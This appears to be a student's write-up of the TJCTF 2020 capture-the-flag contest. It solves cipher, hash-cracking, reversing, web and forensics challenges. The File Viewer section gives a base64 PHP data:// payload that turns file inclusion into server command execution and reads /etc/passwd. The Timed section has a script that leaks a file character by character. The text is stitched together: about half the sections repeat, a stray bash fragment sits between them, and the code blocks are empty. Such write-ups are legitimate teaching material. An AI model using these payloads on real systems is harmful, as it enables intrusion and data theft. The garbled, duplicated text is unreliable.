## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
I wrote a bash script to extract recursive archive and get the flag:
```#/bin/bashfile="0.zip"if [ -f "$file" ]; then for i in {1..1650}; do 7z e ${file} > /dev/null; file=`7z l ${file}|grep -Eo "[0-9]{1,4}\.(tar$|tar\.bz2$|zip$|kz3$|kz2$|tar\.gz$)"|tail -1`; echo "${file} num:$i"; donefifind ./ -name "*.txt" -exec cat {} \; |uniq``` |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
